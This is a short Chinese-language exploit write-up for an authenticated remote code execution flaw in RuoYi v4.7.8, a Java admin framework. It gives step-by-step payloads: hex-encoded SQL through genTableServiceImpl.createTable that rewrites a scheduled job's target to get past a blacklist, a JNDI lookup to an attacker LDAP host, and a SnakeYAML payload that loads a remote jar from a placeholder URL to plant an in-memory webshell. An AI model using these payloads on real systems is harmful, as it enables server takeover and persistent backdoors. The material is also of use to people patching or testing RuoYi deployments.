RuoYi v4.7.8 后台RCE

声明

本文版权归原作者所有,未经允许禁止转载。

漏洞原理

利用定时任务功能执行指定函数。

影响版本

v4.7.8

前提条件

获取后台权限。

漏洞复现

javax.naming.InitialContext

创建 2 个任务

ryTask.ryParams('ry')
* * * * * ?

task1 任务ID: 102
task2 任务ID: 103

修改任务一的目标字符串

执行以下字符串,利用 hex 绕过黑名单:

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = <hex> WHERE job_id = 103;')

Hex 部分填写以下内容 Hex 编码后的结果:

javax.naming.InitialContext.lookup('ldap://xxxxx')

执行任务一,任务二已经被修改为恶意字符串:

执行任务二即可 JNDI 注入,注意 JDK 版本,高版本有部分限制:

org.yaml.snakeyaml

远程加载 jar 包注入内存马

利用 snakeyaml 远程加载 jar 包进行 RCE。

更换 hex payload:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://x.x.x.x/xxx.jar"]]]]')

利用 javachainssnakeyaml 字节码转 jar 包流注入内存马:

更换 URL 地址执行即可: